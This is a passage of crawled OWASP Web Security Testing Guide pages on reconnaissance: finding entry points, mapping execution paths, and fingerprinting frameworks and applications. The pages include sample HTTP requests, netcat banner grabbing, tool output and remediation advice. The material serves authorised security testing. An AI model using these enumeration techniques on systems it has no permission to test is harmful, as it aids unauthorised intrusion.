be encoded parameters or used for session state).\n\n#### EXAMPLE 2\n\nThis example shows a POST request that would log you into an application.\n\n```\nPOST /KevinNotSoGoodApp/authenticate.asp?service=login HTTP/1.1\nHost: x.x.x.x\nCookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIzNA==\nCustomCookie=00my00trusted00ip00is00x.x.x.x00\n\nuser=admin&pass=pass123&debug=true&fromtrustIP=true\n```\n\n> In this example the tester would note all the parameters as they have before, however the majority of the parameters are passed in the body of the request and not in the URL. Additionally, note that there is a custom HTTP header (`CustomCookie`) being used.\n\n### Gray-Box Testing\n\nTesting for application entry points via a gray-box methodology would consist of everything already identified above with one addition. In cases where there are external sources from which the application receives data and processes it (such as SNMP traps, syslog messages, SMTP, or SOAP messages from other servers) a meeting with the application developers could identify any functions that would accept or expect user input and how they are formatted. For example, the developer could help in understanding how to formulate a correct SOAP request that the application would accept and where the web service resides (if the web service or any other function hasn’t already been identified during the black-box testing).\n\n#### OWASP Attack Surface Detector\n\nThe Attack Surface Detector (ASD) tool investigates the source code and uncovers the endpoints of a web application, the parameters these endpoints accept, and the data type of those parameters. This includes the unlinked endpoints a spider will not be able to find, or optional parameters totally unused in client-side code. It also has the capability to calculate the changes in attack surface between two versions of an application.\n\nThe Attack Surface Detector is available as a plugin to both ZAP and Burp Suite, and a Command Line Interface (CLI) tool is also available. The CLI tool exports the attack surface as a JSON output, which can then be used by the ZAP and Burp Suite plugin. This is helpful for cases where the source code is not provided to the penetration tester directly. For example, the penetration tester can get the json output file from a customer who does not want to provide the source code itself.\n\n##### How to Use\n\nThe CLI jar file is downloadable from [https://github.com/secdec/attack-surface-detector-cli/releases](https://github.com/secdec/attack-surface-detector-cli/releases).\n\nYou can run the following command for ASD to identify endpoints from the source code of the target web application.\n\n`java -jar attack-surface-detector-cli-1.3.5.jar [flags]`\n\nHere is an example of running the command against [OWASP RailsGoat](https://github.com/OWASP/railsgoat).\n\n```\n$ java -jar attack-surface-detector-cli-1.3.5.jar railsgoat/\nBeginning endpoint detection for '<...>/railsgoat' with 1 framework types\nUsing framework=RAILS\n[0] GET: /login (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_contro\nller.rb (lines '6'-'9')\n[1] GET: /logout (0 variants): PARAMETERS={}; FILE=/app/controllers/sessions_controller.rb (lines '33'-'37')\n[2] POST: /forgot_password (0 variants): PARAMETERS={email=name=email, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/\npassword_resets_controller.rb (lines '29'-'38')\n[3] GET: /password_resets (0 variants): PARAMETERS={token=name=token, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/p\nassword_resets_controller.rb (lines '19'-'27')\n[4] POST: /password_resets (0 variants): PARAMETERS={password=name=password, paramType=QUERY_STRING, dataType=STRING, user=name=user, paramType=QUERY_STRING, dataType=STRING, confirm_password=name=confirm_password, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/password_resets_controller.rb (lines '5'-'17')\n[5] GET: /sessions/new (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '6'-'9')\n[6] POST: /sessions (0 variants): PARAMETERS={password=name=password, paramType=QUERY_STRING, dataType=STRING, user_id=name=user_id, paramType=SESSION, dataType=STRING, remember_me=name=remember_me, paramType=QUERY_STRING, dataType=STRING, url=name=url, paramType=QUERY_STRING, dataType=STRING, email=name=email, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '11'-'31')\n[7] DELETE: /sessions/{id} (0 variants): PARAMETERS={}; FILE=/app/controllers/sessions_controller.rb (lines '33'-'37')\n[8] GET: /users (0 variants): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (lines '9'-'11')\n[9] GET: /users/{id} (0 variants): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (lines '13'-'15')\n... snipped ...\n[38] GET: /api/v1/mobile/{id} (0 variants): PARAMETERS={id=name=id, paramType=QUERY_STRING, dataType=STRING, class=name=class, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/api/v1/mobile_controller.rb (lines '8'-'13')\n[39] GET: / (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '6'-'9')\nGenerated 40 distinct endpoints with 0 variants for a total of 40 endpoints\nSuccessfully validated serialization for these endpoints\n0 endpoints were missing code start line\n0 endpoints were missing code end line\n0 endpoints had the same code start and end line\nGenerated 36 distinct parameters\nGenerated 36 total parameters\n- 36/36 have their data type\n- 0/36 have a list of accepted values\n- 36/36 have their parameter type\n--- QUERY_STRING: 35\n--- SESSION: 1\nFinished endpoint detection for '<...>/railsgoat'\n----------\n-- DONE --\n0 projects had duplicate endpoints\nGenerated 40 distinct endpoints\nGenerated 40 total endpoints\nGenerated 36 distinct parameters\nGenerated 36 total parameters\n1/1 projects had endpoints generated\nTo enable logging include the -debug argument\n```\n\nYou can also generate a JSON output file using the `-json` flag, which can be used by the plugin to both ZAP and Burp Suite. See the following links for more details.\n\n- [Home of ASD Plugin for OWASP ZAP](https://github.com/secdec/attack-surface-detector-zap/wiki)\n- [Home of ASD Plugin for PortSwigger Burp](https://github.com/secdec/attack-surface-detector-burp/wiki)\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n- [Burp Suite](https://www.portswigger.net/burp/)\n- [Fiddler](https://www.telerik.com/fiddler)\n\n## References\n\n- [RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1](https://tools.ietf.org/html/rfc2616)\n- [OWASP Attack Surface Detector](https://owasp.org/www-project-attack-surface-detector/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 13037, "slov": 1811, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:51", "sha256": "c5a500c0154c690baf409d38383fdf9a59ec930387dc2c90b8b3855ce26fcbe5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/secdec/attack-surface-detector-cli/releases", "https://github.com/OWASP/railsgoat", "https://github.com/secdec/attack-surface-detector-zap/wiki", "https://github.com/secdec/attack-surface-detector-burp/wiki", "https://www.zaproxy.org/", "https://www.portswigger.net/burp/", "https://www.telerik.com/fiddler", "https://tools.ietf.org/html/rfc2616", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Map Execution Paths Through Application"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box or White-Box Testing"}, {"uroven": 4, "text": "Example"}, {"uroven": 3, "text": "Automatic Spidering"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Map Execution Paths Through Application\n\n| ID |\n| --- |\n| WSTG-INFO-07 |\n\n## Summary\n\nBefore commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlkely that it will be tested thoroughly.\n\n## Test Objectives\n\nMap the target application and understand the principal workflows.\n\n## How to Test\n\nIn black-box testing it is extremely difficult to test the entire code base. Not just because the tester has no view of the code paths through the application, but even if they did, to test all code paths would be very time consuming. One way to reconcile this is to document what code paths were discovered and tested.\n\nThere are several ways to approach the testing and measurement of code coverage:\n\n- **Path** - test each of the paths through an application that includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch.\n- **Data Flow (or Taint Analysis)** - tests the assignment of variables via external interaction (normally users). Focuses on mapping the flow, transformation and use of data throughout an application.\n- **Race** - tests multiple concurrent instances of the application manipulating the same data.\n\nThe trade off as to what method is used and to what degree each method is used should be negotiated with the application owner. Simpler approaches could also be adopted, including asking the application owner what functions or code sections they are particularly concerned about and how those code segments can be reached.\n\n### Black-Box Testing\n\nTo demonstrate code coverage to the application owner, the tester can start with a spreadsheet and document all the links discovered by spidering the application (either manually or automatically). Then the tester can look more closely at decision points in the application and investigate how many significant code paths are discovered. These should then be documented in the spreadsheet with URLs, prose and screenshot descriptions of the paths discovered.\n\n### Gray-Box or White-Box Testing\n\nEnsuring sufficient code coverage for the application owner is far easier with gray-box and white-box approach to testing. Information solicited by and provided to the tester will ensure the minimum requirements for code coverage are met.\n\n#### Example\n\n### Automatic Spidering\n\nThe automatic spider is a tool used to automatically discover new resources (URLs) on a particular website. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. While there are a lot of Spidering tools, the following example uses the [Zed Attack Proxy (ZAP)](https://github.com/zaproxy/zaproxy):\n\n*Figure 4.1.7-1: Zed Attack Proxy Screen*\n\n[ZAP](https://github.com/zaproxy/zaproxy) offers the following automatic spidering features, which can be selected based on the tester’s needs:\n\n- Spider Site - The seed list contains all the existing URIs already found for the selected site.\n- Spider Subtree - The seed list contains all the existing URIs already found and present in the subtree of the selected node.\n- Spider URL - The seed list contains only the URI corresponding to the selected node (in the Site Tree).\n- Spider all in Scope - The seed list contains all the URIs the user has selected as being ‘In Scope’.\n\n## Tools\n\n- [Zed Attack Proxy (ZAP)](https://github.com/zaproxy/zaproxy)\n- [List of spreadsheet software](https://en.wikipedia.org/wiki/List_of_spreadsheet_software)\n- [Diagramming software](https://en.wikipedia.org/wiki/List_of_concept-_and_mind-mapping_software)\n\n## References\n\n### Whitepapers\n\n- [Code Coverage](https://en.wikipedia.org/wiki/Code_coverage)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3825, "slov": 548, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:52", "sha256": "8ac6961e250e95784061b33fa51bd38d974a294e3527a51012cc7a226c5eb926", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/zaproxy/zaproxy", "https://en.wikipedia.org/wiki/List_of_spreadsheet_software", "https://en.wikipedia.org/wiki/List_of_concept-_and_mind-mapping_software", "https://en.wikipedia.org/wiki/Code_coverage", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Fingerprint Web Application Framework"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "HTTP Headers"}, {"uroven": 4, "text": "Cookies"}, {"uroven": 4, "text": "HTML Source Code"}, {"uroven": 4, "text": "File Extensions"}, {"uroven": 4, "text": "Error Message"}, {"uroven": 2, "text": "Common Frameworks"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 3, "text": "HTML Source Code"}, {"uroven": 4, "text": "General Markers"}, {"uroven": 4, "text": "Specific Markers"}, {"uroven": 3, "text": "Specific Files and Folders"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "WhatWeb"}, {"uroven": 3, "text": "BlindElephant"}, {"uroven": 3, "text": "Wappalyzer"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 3, "text": "HTTP Headers"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 3, "text": "HTML Source Code"}, {"uroven": 3, "text": "Specific Files and Folders"}, {"uroven": 3, "text": "Additional Approaches"}], "markdown": "# WSTG - v4.1\n\n# Fingerprint Web Application Framework\n\n| ID |\n| --- |\n| WSTG-INFO-08 |\n\n## Summary\n\nWeb framework[*] fingerprinting is an important subtask of the information gathering process. Knowing the type of framework can automatically give a great advantage if such a framework has already been tested by the penetration tester. It is not only the known vulnerabilities in unpatched versions but specific misconfigurations in the framework and known file structure that makes the fingerprinting process so important.\n\nSeveral different vendors and versions of web frameworks are widely used. Information about it significantly helps in the testing process, and can also help in changing the course of the test. Such information can be derived by careful analysis of certain common locations. Most of the web frameworks have several markers in those locations which help an attacker to spot them. This is basically what all automatic tools do, they look for a marker from a predefined location and then compare it to the database of known signatures. For better accuracy several markers are usually used.\n\n[*] Please note that this article makes no differentiation between Web Application Frameworks and Content Management Systems (CMS). This has been done to make it convenient to fingerprint both of them in one chapter. Furthermore, both categories are referenced as web frameworks.\n\n## Test Objectives\n\nTo define type of used web framework so as to have a better understanding of the security testing methodology.\n\n## How to Test\n\n### Black-Box Testing\n\nThere are several most common locations to look in in order to define the current framework:\n\n- HTTP headers\n- Cookies\n- HTML source code\n- Specific files and folders\n- File Extensions\n- Error Message\n\n#### HTTP Headers\n\nThe most basic form of identifying a web framework is to look at the `X-Powered-By` field in the HTTP response header. Many tools can be used to fingerprint a target. The simplest one is netcat utility.\n\nConsider the following HTTP Request-Response:\n\n```\n$ nc 127.0.0.1 80\nHEAD / HTTP/1.0\n\nHTTP/1.1 200 OK\nServer: nginx/1.0.14\nDate: Sat, 07 Sep 2013 08:19:15 GMT\nContent-Type: text/html;charset=ISO-8859-1\nConnection: close\nVary: Accept-Encoding\nX-Powered-By: Mono\n```\n\nFrom the `X-Powered-By` field, we understand that the web application framework is likely to be Mono. However, although this approach is simple and quick, this methodology doesn’t work in 100% of cases. It is possible to easily disable `X-Powered-By` header by a proper configuration. There are also several techniques that allow a web site to obfuscate HTTP headers (see an example in the Remediation section).\n\nSo in the same example the tester could either miss the `X-Powered-By` header or obtain an answer like the following:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.0.14\nDate: Sat, 07 Sep 2013 08:19:15 GMT\nContent-Type: text/html;charset=ISO-8859-1\nConnection: close\nVary: Accept-Encoding\nX-Powered-By: Blood, sweat and tears\n```\n\nSometimes there are more HTTP-headers that point at a certain web framework. In the following example, according to the information from HTTP-request, one can see that `X-Powered-By` header contains PHP version. However, the `X-Generator` header points out the used framework is actually Swiftlet, which helps a penetration tester to expand his attack vectors. When performing fingerprinting, always carefully inspect every HTTP-header for such leaks.\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.4.1\nDate: Sat, 07 Sep 2013 09:22:52 GMT\nContent-Type: text/html\nConnection: keep-alive\nVary: Accept-Encoding\nX-Powered-By: PHP/5.4.16-1~dotdeb.1\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nX-Generator: Swiftlet\n```\n\n#### Cookies\n\nAnother similar and somehow more reliable way to determine the current web framework are framework-specific cookies.\n\nConsider the following HTTP-request:\n\n*Figure 4.1.8-1: Cakephp HTTP Request*\n\nThe cookie `CAKEPHP` has automatically been set, which gives information about the framework being used. List of common cookies names is presented in Cookies section. Limitations are the same - it is possible to change the name of the cookie. For example, for the selected `CakePHP` framework this could be done by the following configuration (excerpt from core.php):\n\n```\n/**\n* The name of CakePHP's session cookie.\n*\n* Note the guidelines for Session names states: \"The session name references\n* the session id in cookies and URLs. It should contain only alphanumeric\n* characters.\"\n* @link http://php.net/session_name\n*/ Configure::write('Session.cookie', 'CAKEPHP'); \n```\n\nHowever, these changes are less likely to be made than changes to the `X-Powered-By` header, so this approach can be considered as more reliable.\n\n#### HTML Source Code\n\nThis technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific web framework. One of the common markers are HTML comments that directly lead to framework disclosure. More often certain framework-specific paths can be found, i.e. links to framework-specific CSS or JS folders. Finally, specific script variables might also point to a certain framework.\n\nFrom the screenshot below one can easily learn the used framework and its version by the mentioned markers. The comment, specific paths and script variables can all help an attacker to quickly determine an instance of ZK framework.\n\n*Figure 4.1.8-2: Cakephp HTTP Request*\n\nMore frequently such information is placed between ````\ntags, in `` tags or at the end of the page. Nevertheless, it is recommended to check the whole document since it can be useful for other purposes such as inspection of other useful comments and hidden fields. Sometimes, web developers do not care much about hiding information about the framework used. It is still possible to stumble upon something like this at the bottom of the page:\n\n*Figure 4.1.8-3: Banshee Bottom Page*\n\n#### File Extensions\n\nURL may include file extensions. The file extensions can also help to identify the web platform or technology.\n\nFor example, OWASP is using PHP\n\n```\nhttps://www.owasp.org/index.php?title=Fingerprint_Web_Application_Framework&action=edit§ion=4 \n```\n\nHere are some common web extensions and technology\n\n- php – PHP\n- aspx – Microsoft ASP.NET\n- jsp – Java Server Pages\n\n#### Error Message\n\n## Common Frameworks\n\n### Cookies\n\n| Framework | Cookie name |\n| --- | --- |\n| Zope | zope3 |\n| CakePHP | cakephp |\n| Kohana | kohanasession |\n| Laravel | laravel_session |\n\n### HTML Source Code\n\n#### General Markers\n\n- %framework_name%\n- powered by\n- built upon\n- running\n\n#### Specific Markers\n\n| Framework | Keyword |\n| --- | --- |\n| Adobe ColdFusion | |\n| Indexhibit | ndxz-studio |\n\n### Specific Files and Folders\n\nSpecific files and folders are different for each specific framework. It is recommended to install the corresponding framework during penetration tests in order to have better understanding of what infrastructure is presented and what files might be left on the server. However, several good file lists already exist and one good example is [FuzzDB wordlists of predictable files/folders](https://github.com/fuzzdb-project/fuzzdb).\n\n## Tools\n\nA list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.\n\n### WhatWeb\n\nWebsite: [https://www.morningstarsecurity.com/research/whatweb](https://www.morningstarsecurity.com/research/whatweb)\n\nCurrently one of the best fingerprinting tools on the market. Included in a default [Kali Linux](https://www.kali.org/) build. Language: Ruby Matches for fingerprinting are made with:\n\n- Text strings (case sensitive)\n- Regular expressions\n- Google Hack Database queries (limited set of keywords)\n- MD5 hashes\n- URL recognition\n- HTML tag patterns\n- Custom ruby code for passive and aggressive operations\n\nSample output is presented on a screenshot below:\n\n*Figure 4.1.8-4: Whatweb Output sample*\n\n### BlindElephant\n\nWebsite:[http://blindelephant.sourceforge.net/](http://blindelephant.sourceforge.net/)\n\nThis great tool works on the principle of static file checksum based version difference thus providing a very high quality of fingerprinting. Language: Python\n\nSample output of a successful fingerprint:\n\n```\npentester$ python BlindElephant.py http://my_target drupal\nLoaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups.\nStarting BlindElephant fingerprint for version of drupal at http://my_target\n\nHit http://my_target/CHANGELOG.txt\nFile produced no match. Error: Retrieved file doesn't match known fingerprint. 527b085a3717bd691d47713dff74acf4\n\nHit http://my_target/INSTALL.txt\nFile produced no match. Error: Retrieved file doesn't match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4\n\nHit http://my_target/misc/drupal.js\nPossible versions based on result: 7.12, 7.13, 7.14\n\nHit http://my_target/MAINTAINERS.txt\nFile produced no match. Error: Retrieved file doesn't match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca\n\nHit http://my_target/themes/garland/style.css\nPossible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14\n\n...\n\nFingerprinting resulted in:\n7.14\n\nBest Guess: 7.14\n```\n\n### Wappalyzer\n\nWebsite: [https://www.wappalyzer.com/](https://www.wappalyzer.com/)\n\nWapplyzer is a Firefox Chrome extension. It works only on regular expression matching and doesn’t need anything other than the page to be loaded on browser. It works completely at the browser level and gives results in the form of icons. Although sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.\n\nNote that by default, Wappalyzer will send anonymised data about the technology running on visited websites back to the developers, which is then sold to third parties. Make sure you disable this data collection in the add-on options.\n\nSample output of a plug-in is presented on a screenshot below.\n\n*Figure 4.1.8-5: Wappalyzer Output for OWASP Website*\n\n## References\n\n### Whitepapers\n\n- [Saumil Shah: “An Introduction to HTTP fingerprinting”](https://web.archive.org/web/20190526182734/https://net-square.com/httprint_paper.html)\n- [Anant Shrivastava : “Web Application Finger Printing”](https://anantshri.info/articles/web_app_finger_printing.html)\n\n## Remediation\n\nThe general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it’s possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches.\n\n### HTTP Headers\n\nCheck the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler\n\n### Cookies\n\nIt is recommended to change cookie names by making changes in the corresponding configuration files.\n\n### HTML Source Code\n\nManually check the contents of the HTML code and remove everything that explicitly points to the framework.\n\nGeneral guidelines:\n\n- Make sure there are no visual markers disclosing the framework\n- Remove any unnecessary comments (copyrights, bug information, specific framework comments)\n- Remove META and generator tags\n- Use the companies own CSS or JS files and do not store those in a framework-specific folders\n- Do not use default scripts on the page or obfuscate them if they must be used.\n\n### Specific Files and Folders\n\nGeneral guidelines:\n\n- Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too.\n- Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below.\n\n```\nRewriteCond %{REQUEST_URI} /wp-login\\.php$ [OR]\nRewriteCond %{REQUEST_URI} /wp-admin/$\nRewriteRule $ /http://your_website [R=404,L]\n```\n\nHowever, these are not the only ways to restrict access. In order to automate this process, certain framework-specific plugins exist. One example for WordPress is [StealthLogin](https://wordpress.org/plugins/stealth-login-page).\n\n### Additional Approaches\n\nGeneral guidelines:\n\n- Checksum management\nThe purpose of this approach is to beat checksum-based scanners and not let them disclose files by their hashes. Generally, there are two approaches in checksum management:\n - Change the location of where those files are placed (i.e. move them to another folder, or rename the existing folder)\n - Modify the contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file should not be a big problem.\n- Controlled chaos\nA funny and effective method that involves adding bogus files and folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite existing files and folders and to break the current framework!\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 13458, "slov": 1934, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:53", "sha256": "eb23b19373cb5b344958498b94a71b723b85890aef0bdfe0a7efa9cb93bf3b39", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/fuzzdb-project/fuzzdb", "https://www.morningstarsecurity.com/research/whatweb", "https://www.kali.org/", "http://blindelephant.sourceforge.net/", "https://www.wappalyzer.com/", "https://net-square.com/httprint_paper.html", "https://anantshri.info/articles/web_app_finger_printing.html", "https://wordpress.org/plugins/stealth-login-page", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Fingerprint Web Application"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 3, "text": "HTML Source Code"}, {"uroven": 3, "text": "Specific Files and Folders"}, {"uroven": 2, "text": "Common Application Identifiers"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 3, "text": "HTML Source Code"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "WhatWeb"}, {"uroven": 3, "text": "BlindElephant"}, {"uroven": 3, "text": "Wappalyzer"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 3, "text": "HTTP Headers"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 4, "text": "HTML Source Code"}, {"uroven": 4, "text": "Specific Files and Folders"}, {"uroven": 4, "text": "Additional Approaches"}], "markdown": "# WSTG - v4.1\n\n# Fingerprint Web Application\n\n| ID |\n| --- |\n| WSTG-INFO-09 |\n\n## Summary\n\nThere is nothing new under the sun, and nearly every web application that one may think of developing has already been developed. With the vast number of free and open source software projects that are actively developed and deployed around the world, it is very likely that an application security test will face a target site that is entirely or partly dependent on these well known applications (e.g. Wordpress, phpBB, Mediawiki, etc). Knowing the web application components that are being tested significantly helps in the testing process and will also drastically reduce the effort required during the test. These well known web applications have known HTML headers, cookies, and directory structures that can be enumerated to identify the application.\n\n## Test Objectives\n\nIdentify the web application and version to determine known vulnerabilities and the appropriate exploits to use during testing.\n\n## How to Test\n\n### Cookies\n\nA relatively reliable way to identify a web application is by the application-specific cookies.\n\nConsider the following HTTP-request:\n\n```\nGET / HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\n'''Cookie: wp-settings-time-1=1406093286; wp-settings-time-2=1405988284'''\nDNT: 1\nConnection: keep-alive\nHost: blog.owasp.org\n```\n\nThe cookie *wp-settings-time-1* has automatically been set, which gives information about the framework being used. List of common cookies names is presented in Common Application Identifiers section. However, it is possible to change the name of the cookie.\n\n### HTML Source Code\n\nThis technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific web application. One of the common markers are HTML comments that directly lead to application disclosure. More often certain application-specific paths can be 